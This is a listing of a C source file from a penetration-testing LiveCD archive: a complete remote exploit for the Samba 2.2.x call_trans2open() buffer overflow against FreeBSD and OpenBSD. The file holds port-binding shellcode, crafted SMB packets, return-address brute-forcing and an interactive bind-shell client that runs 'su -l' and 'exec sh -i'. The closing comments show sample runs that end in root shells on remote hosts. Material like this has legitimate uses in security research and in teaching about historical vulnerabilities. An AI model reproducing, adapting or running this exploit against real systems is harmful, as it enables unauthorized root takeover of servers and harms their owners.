home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / samba / 0x82-Remote.54AAb4.xpl.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-02-12  |  15.3 KB  |  557 lines
  1. /*
  2. **
  3. ** [+] Title: Samba v2.2.x call_trans2open() Remote Overrun exploit for XxxxBSD
  4. **                                                                  11/Apr/2003
  5. ** [+] Exploit code: 0x82-Remote.54AAb4.xpl.c
  6. **
  7. ** -- 
  8. ** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>. 
  9. ** My World: http://x82.i21c.net & http://x82.inetcop.org
  10. **
  11. */
  12. /*
  13. ** -=-= POINT! POINT! POINT! POINT! POINT! =-=-
  14. **
  15. ** source/smbd/trans2.c:
  16. **
  17. ** line:205  static int call_trans2open(connection_struct *conn, char *inbuf, char *outbuf, int bufsize,
  18. ** line:206                          char **pparams, int total_params, char **ppdata, int total_data)
  19. ** line:207  {
  20. **           [...]
  21. ** line:219          char *pname;
  22. ** line:220          int16 namelen;
  23. **           [...]
  24. ** line:222          pstring fname; // source/include/smb.h:
  25. **                                  // line:162  #define PSTRING_LEN 1024
  26. **                                  // line:165  typedef char pstring[PSTRING_LEN];
  27. **           [...]
  28. ** line:250          namelen = strlen(pname)+1;
  29. ** line:251
  30. ** line:252          StrnCpy(fname,pname,namelen); // here.
  31. **
  32. ** reply_trans2() function:
  33. **
  34. ** line:3173 int reply_trans2(connection_struct *conn, char *inbuf,char *outbuf,int length,int bufsize)
  35. **           [...]
  36. ** line:3358                 outsize = call_trans2open(conn, inbuf, outbuf, bufsize,
  37. ** line:3359                                 ¶ms, total_params, &data, total_data);
  38. ** line:3360                 END_PROFILE_NESTED(Trans2_open);
  39. ** line:3361                 break;
  40. **
  41. ** Visual point that change flowing of this program,
  42. ** happen after overwrited variables.
  43. **
  44. ** Detailed information references digitaldefense's Advisory.
  45. **
  46. ** http://www.digitaldefense.net/labs/advisories/DDI-1013.txt
  47. **
  48. ** Also, thank about eSDee's exploit that remind Samba application communication method.
  49. ** --
  50. ** Thank you.
  51. **
  52. */
  53.  
  54. #include <stdio.h>
  55. #include <unistd.h>
  56. #include <stdlib.h>
  57. #include <sys/socket.h>
  58. #include <sys/time.h>
  59. #include <netinet/in.h>
  60. #include <netdb.h>
  61.  
  62. struct os {
  63.     int num;
  64.     char *ost;
  65.     u_long shell;
  66. };
  67. struct os plat[]=
  68. {
  69.     {
  70.         0,"FreeBSD 4.6.2-RELEASE #0 i386, Samba v2.2.x",
  71.         /*
  72.            v2.2.0 exploited successfully. (Brute-Force mode)
  73.            v2.2.1a exploited successfully. (Brute-Force mode)
  74.            v2.2.2 exploited successfully. (Brute-Force mode)
  75.            v2.2.3 exploited successfully. (Default mode)
  76.            v2.2.4 exploited successfully. (Default mode)
  77.            v2.2.5 exploited successfully. (Default mode)
  78.            v2.2.6 exploited successfully. (Default mode)
  79.            v2.2.7 exploited successfully. (Default mode)
  80.            v2.2.8 exploited successfully. (Default mode)
  81.         */
  82.         0xbfbff482
  83.     },
  84.     {
  85.         1,"OpenBSD 3.0 GENERIC#94 i386, Samba v2.2.x",
  86.         /*
  87.            v2.2.0 exploited successfully. (Brute-Force mode)
  88.            v2.2.1a exploited successfully. (Brute-Force mode)
  89.            v2.2.2 exploited successfully. (Brute-Force mode)
  90.            v2.2.3 exploited successfully. (Default mode)
  91.            v2.2.4 exploited successfully. (Default mode)
  92.            v2.2.5 exploited successfully. (Default mode)
  93.            v2.2.6 exploited successfully. (Default mode)
  94.            v2.2.7 exploited successfully. (Default mode)
  95.            v2.2.8 exploited successfully. (Default mode)
  96.         */
  97.         0xdfbfd482
  98.     },
  99.     {
  100.         2,NULL,0
  101.     }
  102. };
  103.  
  104. char shellcode[]=
  105.     /* 86bytes portbinding shellcode by bighawk */
  106.     "\x31\xc9"              // xor ecx, ecx
  107.     "\xf7\xe1"              // mul ecx
  108.     "\x51"                  // push ecx
  109.     "\x41"                  // inc ecx
  110.     "\x51"                  // push ecx
  111.     "\x41"                  // inc ecx
  112.     "\x51"                  // push ecx
  113.     "\x51"                  // push ecx
  114.     "\xb0\x61"              // mov al, 97
  115.     "\xcd\x80"              // int 80h
  116.     "\x89\xc3"              // mov ebx, eax
  117.     "\x52"                  // push edx
  118.     "\x66\x68\x27\x10"      // push word 4135
  119.     "\x66\x51"              // push cx
  120.     "\x89\xe6"              // mov esi, esp
  121.     "\xb1\x10"              // mov cl, 16
  122.     "\x51"                  // push ecx
  123.     "\x56"                  // push esi
  124.     "\x50"                  // push eax
  125.     "\x50"                  // push eax
  126.     "\xb0\x68"              // mov al, 104
  127.     "\xcd\x80"              // int 80h
  128.     "\x51"                  // push ecx
  129.     "\x53"                  // push ebx
  130.     "\x53"                  // push ebx
  131.     "\xb0\x6a"              // mov al, 106
  132.     "\xcd\x80"              // int 80h
  133.     "\x52"                  // push edx
  134.     "\x52"                  // push edx
  135.     "\x53"                  // push ebx
  136.     "\x53"                  // push ebx
  137.     "\xb0\x1e"              // mov al, 30
  138.     "\xcd\x80"              // int 80h
  139.     "\xb1\x03"              // mov cl, 3
  140.     "\x89\xc3"              // mov ebx, eax
  141.     "\xb0\x5a"              // mov al, 90
  142.     "\x49"                  // dec ecx
  143.     "\x51"                  // push ecx
  144.     "\x53"                  // push ebx
  145.     "\x53"                  // push ebx
  146.     "\xcd\x80"              // int 80h
  147.     "\x41"                  // inc ecx
  148.     "\xe2\xf5"              // loop-10
  149.     "\x51"                  // push ecx
  150.     "\x68\x2f\x2f\x73\x68"  // push dword 68732f2fh
  151.     "\x68\x2f\x62\x69\x6e"  // push dword 6e69622fh
  152.     "\x89\xe3"              // mov  ebx, esp
  153.     "\x51"                  // push ecx
  154.     "\x54"                  // push esp
  155.     "\x53"                  // push ebx
  156.     "\x53"                  // push ebx
  157.     "\xb0\x3b"              // mov al, 59
  158.     "\xcd\x80";             // int  80h
  159.  
  160. #define BRUTE_AT (64)
  161. #define SH_PORT (10000)
  162. #define ATK_PORT (139)
  163. #define DF_NOP (0x41)
  164. #define __BUF_LEN (0x00000463)
  165. #define __LEN_PAD (0x0000012c)
  166.  
  167. void banrl();
  168. int re_connt(int sock,int type);
  169. void usage(char *p_name);
  170. int setsock(char *host,int port);
  171. void send_recv_sh(int sock);
  172. int __atk_code_send_recv(int sock,u_long shell);
  173.  
  174. int __atk_code_send_recv(int sock,u_long shell)
  175. {
  176.     int eat_buf_set=0,atk_buf_pos=0;
  177.     char atk_buf[0x960+5];
  178.     char its_exploit_packet[]={
  179.         0x00,0x04,0x09,0x60,0xff,0x53,0x4d,0x42,
  180.         0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  181.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  182.         0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
  183.         0x64,0x00,0x00,0x00,0x00,0xd0,0x07,0x0c,
  184.         0x00,0xd0,0x07,0x0c,0x00,0x00,0x00,0x00,
  185.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xd0,
  186.         0x07,0x43,0x00,0x0c,0x00,0x14,0x08,0x01,
  187.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  188.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  189.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  190.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x90,
  191.         0x00
  192.     };
  193.     char its_first_time_conn[]={
  194.         0x00,0x00,0x00,0x2e,0xff,0x53,0x4d,0x42,
  195.         0x73,0x00,0x00,0x00,0x00,0x08,0x01,0x00,
  196.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  197.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  198.         0x64,0x00,0x01,0x00,0x00,0xff,0x00,0x00,
  199.         0x00,0x00,0x20,0x02,0x00,0x01,0x00,0x00,
  200.         0x00,0x00
  201.     };
  202.     char its_second_time_conn[]={
  203.         0x00,0x00,0x00,0x3c,0xff,0x53,0x4d,0x42,
  204.         0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  205.         0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  206.         0x00,0x00,0x00,0x00,0x00,0x00,0x0c,0x20,
  207.         0x64,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  208.         0x5c,0x5c,0x69,0x70,0x63,0x24,0x25,0x6e,
  209.         0x6f,0x62,0x6f,0x64,0x79,0x00,0x00,0x00,
  210.         0x00,0x00,0x00,0x00,0x49,0x50,0x43,0x24
  211.     };
  212.     int first_packet_len=sizeof(its_first_time_conn);
  213.     int second_packet_len=sizeof(its_second_time_conn);
  214.  
  215.     memset((char *)atk_buf,0,sizeof(atk_buf));
  216.     memcpy(atk_buf,its_first_time_conn,sizeof(its_first_time_conn));
  217.     send(sock,atk_buf,first_packet_len,0);
  218.     recv(sock,atk_buf,sizeof(atk_buf)-1,0);
  219.  
  220.     memset((char *)atk_buf,0,sizeof(atk_buf));
  221.     memcpy(atk_buf,its_second_time_conn,sizeof(its_second_time_conn));
  222.     send(sock,atk_buf,second_packet_len,0);
  223.     recv(sock,atk_buf,sizeof(atk_buf)-1,0);
  224.  
  225.     memset((char *)atk_buf,0,sizeof(atk_buf));
  226.     memcpy(atk_buf+atk_buf_pos,its_exploit_packet,sizeof(its_exploit_packet));
  227.     atk_buf_pos+=sizeof(its_exploit_packet);
  228.  
  229.     memset(atk_buf+atk_buf_pos,DF_NOP,((__BUF_LEN-__LEN_PAD)-strlen(shellcode)-atk_buf_pos));
  230.     atk_buf_pos+=((__BUF_LEN-__LEN_PAD)-strlen(shellcode)-atk_buf_pos);
  231.  
  232.     memcpy(atk_buf+atk_buf_pos,shellcode,strlen(shellcode));
  233.     atk_buf_pos+=strlen(shellcode);
  234.  
  235.     memset(atk_buf+atk_buf_pos,DF_NOP,__LEN_PAD);
  236.     atk_buf_pos+=(__LEN_PAD);
  237. #ifdef __DEBUG
  238.     sleep(10);
  239. #endif
  240.     {
  241.         *(long *)&atk_buf[atk_buf_pos]=(shell-(0x82*2));// fake fp
  242.         atk_buf_pos+=4;
  243.         *(long *)&atk_buf[atk_buf_pos]=(shell);// retaddr;
  244.         atk_buf_pos+=4;
  245.         *(long *)&atk_buf[atk_buf_pos]=(shell-(0x82*2));// fake fp
  246.         atk_buf_pos+=4;
  247.     }
  248.     send(sock,atk_buf,sizeof(atk_buf)-1,0);
  249. }
  250.  
  251. int main(int argc,char *argv[])
  252. {
  253.     int sock,whtl,type=0,brute_f=0;
  254.     char tg_host[0x82]="localhost";
  255.     u_long shell=plat[type].shell;
  256.     
  257.     (void)banrl();
  258.     if(argc<2)
  259.     {
  260.         (void)usage(argv[0]);
  261.     }
  262.     
  263.     while((whtl=getopt(argc,argv,"H:h:S:s:T:t:IiB:b"))!=-1)
  264.     {
  265.         extern char *optarg;
  266.         switch(whtl)
  267.         {
  268.             case 'H':
  269.             case 'h':
  270.                 memset((char *)tg_host,0,sizeof(tg_host));
  271.                 strncpy(tg_host,optarg,sizeof(tg_host)-1);
  272.                 break;
  273.                 
  274.             case 'S':
  275.             case 's':
  276.                 shell=strtoul(optarg,0,0);
  277.                 break;
  278.                 
  279.             case 'T':
  280.             case 't':
  281.                 if((type=atoi(optarg))>1)
  282.                 {
  283.                     (void)usage(argv[0]);
  284.                 }
  285.                 else shell=plat[type].shell;
  286.                 break;
  287.                 
  288.             case 'I':
  289.             case 'i':
  290.                 (void)usage(argv[0]);
  291.                 break;
  292.                 
  293.             case 'B':
  294.             case 'b':
  295.                 brute_f++;
  296.                 break;
  297.                 
  298.             case '?':
  299.                 fprintf(stderr," Try `%s -i' for more information.\n\n",argv[0]);
  300.                 exit(-1);
  301.                 break;
  302.         }
  303.     }
  304.     if(brute_f)
  305.     {
  306.         fprintf(stdout," **\n ** OK, It's good selection, Attack tries %d times.\n",BRUTE_AT);
  307.         fprintf(stdout," ** If work process is boring, drink coffee and wait. hehe ;-D\n **\n\n");
  308.         fprintf(stdout," [*] Brute-Force mode:\n\n");
  309.         fprintf(stdout," |----+----+----+----+----+----+----+----+----+----+----+----+----|");
  310.         fprintf(stdout,"\n |");
  311.  
  312.         for(brute_f=0;brute_f<BRUTE_AT;brute_f++)
  313.         {
  314.             fflush(stdout);
  315.             fprintf(stdout,"=");
  316.  
  317.             shell+=(0x100);
  318.             sock=(int)setsock(tg_host,ATK_PORT);
  319.             
  320.             if((int)re_connt(sock,0)==-1)
  321.             {
  322.                 while(!(brute_f>=BRUTE_AT-1))
  323.                 {
  324.                     fprintf(stdout,"=");
  325.                     brute_f++;
  326.                 }
  327.                 fprintf(stdout,"|\n\n");
  328.                 fprintf(stderr," [-] Connect Failed.\n\n");
  329.                 exit(-1);
  330.             }
  331.             
  332.             __atk_code_send_recv(sock,shell);
  333.             close(sock);
  334.             sleep(2);
  335.             sock=(int)setsock(tg_host,SH_PORT);
  336.             
  337.             if((int)re_connt(sock,0)==-1)
  338.             {
  339.                 continue;
  340.             }
  341.             
  342.             while(!(brute_f>=BRUTE_AT-1))
  343.             {
  344.                 fprintf(stdout,"=");
  345.                 brute_f++;
  346.             }
  347.             
  348.             fprintf(stdout,"|\n\n");
  349.             fprintf(stdout," [+] Shellcode address: %p\n",shell);
  350.             fprintf(stdout," [*] Brute-Force end !!\n\n");
  351.             fprintf(stdout," **\n ** Bind shellcode is port 10000.\n");
  352.             fprintf(stdout," ** If bindshell port number was changed, change connection port.\n **\n\n");
  353.             
  354.             (void)send_recv_sh(sock);
  355.         }
  356.  
  357.         fprintf(stdout,"|\n\n **\n");
  358.         fprintf(stdout," ** Brute-Force exploit failed. Reason is simple.\n **\n");
  359.         fprintf(stdout," ** Could not search shellcode's position during %d times.\n",BRUTE_AT);
  360.         fprintf(stdout," ** Or, Operating System's target that we attack isn't.\n");
  361.         fprintf(stdout," ** OOops ! is server Samba version doubtful ??\n **\n\n");
  362.         exit(-1);
  363.     }
  364.     else
  365.     {
  366.         fprintf(stdout," [0] Target: %s\n",plat[type].ost);
  367.         fprintf(stdout," [1] Set socket.\n");
  368.         sock=(int)setsock(tg_host,ATK_PORT);
  369.         (int)re_connt(sock,1);
  370.         
  371.         fprintf(stdout," [2] Make shellcode & Send Packet.\n");
  372.         __atk_code_send_recv(sock,shell);
  373.         close(sock);
  374.         
  375.         fprintf(stdout," [3] Trying %s:%d.\n",tg_host,SH_PORT);
  376.         sleep(2);
  377.         
  378.         sock=(int)setsock(tg_host,SH_PORT);
  379.         (int)re_connt(sock,1);
  380.         
  381.         fprintf(stdout," [*] Connected to %s:%d.\n",tg_host,SH_PORT);
  382.         (void)send_recv_sh(sock);
  383.     }
  384. }
  385.  
  386. int setsock(char *hostip,int port)
  387. {
  388.     int sock;
  389.     struct hostent *he;
  390.     struct sockaddr_in x82;
  391.  
  392.     if((he=gethostbyname(hostip))==NULL)
  393.     {
  394.         return(-1);
  395.     }
  396.  
  397.     if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  398.     {
  399.         return(-1);
  400.     }
  401.  
  402.     x82.sin_family=AF_INET;
  403.     x82.sin_port=htons(port);
  404.     x82.sin_addr=*((struct in_addr *)he->h_addr);
  405.     memset(&(x82.sin_zero),0,8);
  406.  
  407.     if(connect(sock,(struct sockaddr *)&x82,sizeof(struct sockaddr))==-1)
  408.     {
  409.         return(-1);
  410.     }
  411.     return(sock);
  412. }
  413.  
  414. int re_connt(int sock,int type)
  415. {
  416.     if(sock==-1)
  417.     {
  418.         if(type)
  419.         {
  420.             fprintf(stderr," [-] Connect Failed.\n\n");
  421.             exit(-1);
  422.         }
  423.         else return(-1);
  424.     }
  425. }
  426.  
  427. void send_recv_sh(int sock)
  428. {
  429.     int pk;
  430.     struct timeval tm;
  431.     char *t_cmd="su -l\n";
  432.     char *n_cmd="uname -a;id;exec sh -i\n";
  433.     char rbuf[1024];
  434.     fd_set rset;
  435.     memset((char *)rbuf,0,sizeof(rbuf));
  436.     fprintf(stdout," [*] Executed shell successfully !\n");
  437.     fprintf(stdout," [*] Command: # su -l; uname -a; id; exec sh -i\n\n");
  438.     send(sock,t_cmd,strlen(t_cmd),0);
  439.     send(sock,n_cmd,strlen(n_cmd),0);
  440.  
  441.     tm.tv_sec=10;
  442.     tm.tv_usec=0;
  443.     
  444.     while(1)
  445.     {
  446.         fflush(stdout);
  447.         FD_ZERO(&rset);
  448.         FD_SET(sock,&rset);
  449.         FD_SET(STDIN_FILENO,&rset);
  450.  
  451.         select(sock+1,&rset,NULL,NULL,&tm);
  452.  
  453.         if(FD_ISSET(sock,&rset))
  454.         {
  455.             pk=read(sock,rbuf,sizeof(rbuf)-1);
  456.             if(pk<=0)
  457.             {
  458.                 fprintf(stdout," [*] Happy-Exploit\n\n");
  459.                 close(sock);
  460.                 exit(0);
  461.             }
  462.             rbuf[pk]=0;
  463.             fprintf(stdout,"%s",rbuf);
  464.         }
  465.         if(FD_ISSET(STDIN_FILENO,&rset))
  466.         {
  467.             pk=read(STDIN_FILENO,rbuf,sizeof(rbuf)-1);
  468.             if(pk>0)
  469.             {
  470.                 rbuf[pk]=0;
  471.                 write(sock,rbuf,pk);
  472.             }
  473.         }
  474.     }
  475.     return;
  476. }
  477.  
  478. void banrl()
  479. {
  480.     fprintf(stdout,"\n Samba v2.2.x call_trans2open() Remote Overrun exploit for XxxxBSD\n");
  481.     fprintf(stdout,"                                                     by Xpl017Elz.\n\n");
  482. }
  483.  
  484. void usage(char *p_name)
  485. {
  486.     int r_s=0;
  487.     fprintf(stdout," Usage: %s -option [argument]\n",p_name);
  488.     fprintf(stdout,"\n\t-h - hostname. (default: localhost)\n");
  489.     fprintf(stdout,"\t-s - shellcode. (select target)\n");
  490.     fprintf(stdout,"\t-t - target number.\n");
  491.     fprintf(stdout,"\t-b - auto brute-force attack mode.\n");
  492.     fprintf(stdout,"\t-i - help information.\n\n");
  493.     fprintf(stdout," Select target number:\n\n");
  494.     
  495.     for(;;)
  496.     {
  497.         if(plat[r_s].ost==NULL)
  498.             break;
  499.         else fprintf(stdout,"\t{%d} %s\n",plat[r_s].num,plat[r_s].ost);
  500.         r_s++;
  501.     }
  502.     fprintf(stdout,"\n Example> %s -hlocalhost -s 0x82828282\n\n",p_name);
  503.     exit(-1);
  504. }
  505.  
  506. /*
  507. **
  508. ** OpenBSD exploit:
  509. ** --
  510. ** bash$ ./0x82-Remote.54AAb4.xpl -h 61.37.xxx.xx -t1
  511. **
  512. **  Samba v2.2.x call_trans2open() Remote Overrun exploit for XxxxBSD
  513. **                                                      by Xpl017Elz.
  514. **
  515. **  [0] Target: OpenBSD 3.0 GENERIC#94 i386, Samba v2.2.x
  516. **  [1] Set socket.
  517. **  [2] Make shellcode & Send Packet.
  518. **  [3] Trying 61.37.xxx.xx:10000.
  519. **  [*] Connected to 61.37.xxx.xx:10000.
  520. **  [*] Executed shell successfully !
  521. **  [*] Command: # su -l; uname -a; id; exec sh -i
  522. **
  523. ** tset: standard error: Operation not supported
  524. ** OpenBSD testsub 3.0 GENERIC#94 i386
  525. ** uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
  526. ** sh: No controlling tty (open /dev/tty: Device not configured)
  527. ** sh: Can't find tty file descriptor
  528. ** sh: warning: won't have full job control
  529. ** #
  530. ** --
  531. **
  532. ** FreeBSD exploit:
  533. ** --
  534. ** bash$ ./0x82-Remote.54AAb4.xpl -h 61.37.xxx.xx -t0
  535. **
  536. **  Samba v2.2.x call_trans2open() Remote Overrun exploit for XxxxBSD
  537. **                                                      by Xpl017Elz.
  538. **
  539. **  [0] Target: FreeBSD 4.6.2-RELEASE #0 i386, Samba v2.2.x
  540. **  [1] Set socket.
  541. **  [2] Make shellcode & Send Packet.
  542. **  [3] Trying 61.37.xxx.xx:10000.
  543. **  [*] Connected to 61.37.xxx.xx:10000.
  544. **  [*] Executed shell successfully !
  545. **  [*] Command: # su -l; uname -a; id; exec sh -i
  546. **
  547. ** Warning: no access to tty (Bad file descriptor).
  548. ** Thus no job control in this shell.
  549. ** FreeBSD localhost 4.6.2-RELEASE FreeBSD 4.6.2-RELEASE #0: Wed Aug 14 21:23:26 GMT 2002     
  550. ** murray@builder.freebsdmall.com:/usr/src/sys/compile/GENERIC  i386
  551. ** uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
  552. ** sh: can't access tty; job control turned off
  553. ** #
  554. ** --
  555. **
  556. */
  557.